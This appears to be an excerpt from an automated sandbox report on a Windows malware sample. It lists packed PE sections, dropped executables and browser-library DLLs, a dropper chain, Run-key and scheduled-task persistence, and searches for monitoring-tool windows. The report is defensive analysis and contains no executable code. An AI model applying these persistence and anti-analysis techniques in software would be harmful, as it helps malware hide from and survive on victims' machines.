Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ztloqtqa
Source: file.exe	Static PE information: section name: yftouuyu
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name:
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name:
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name: cyvkeaon
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name: yqnrhegl
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: zzqvcapk
Source: random[1].exe.0.dr	Static PE information: section name: wvrfktfy
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: cyvkeaon
Source: skotes.exe.21.dr	Static PE information: section name: yqnrhegl
Source: skotes.exe.21.dr	Static PE information: section name: .taggant
Source: filer[1].exe.23.dr	Static PE information: section name: .xdata
Source: filer.exe.23.dr	Static PE information: section name: .xdata

Source: file.exe	Static PE information: section name: ztloqtqa entropy: 7.953350672986591
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name: entropy: 7.984767974680413
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: section name: cyvkeaon entropy: 7.953859617867597
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.9782896417179305
Source: random[1].exe.0.dr	Static PE information: section name: zzqvcapk entropy: 7.9534521740779995
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.984767974680413
Source: skotes.exe.21.dr	Static PE information: section name: cyvkeaon entropy: 7.953859617867597

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBGIJJKKJJD.exe

Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: attrib.exe

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsBGIJJKKJJD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\filer[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBGIJJKKJJD.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4edf09f764.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 171ecab7ad.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1623118d84.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6af0f0d802.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBGIJJKKJJD.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsBGIJJKKJJD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4edf09f764.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4edf09f764.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6af0f0d802.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6af0f0d802.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1623118d84.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1623118d84.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 171ecab7ad.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 171ecab7ad.exe

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
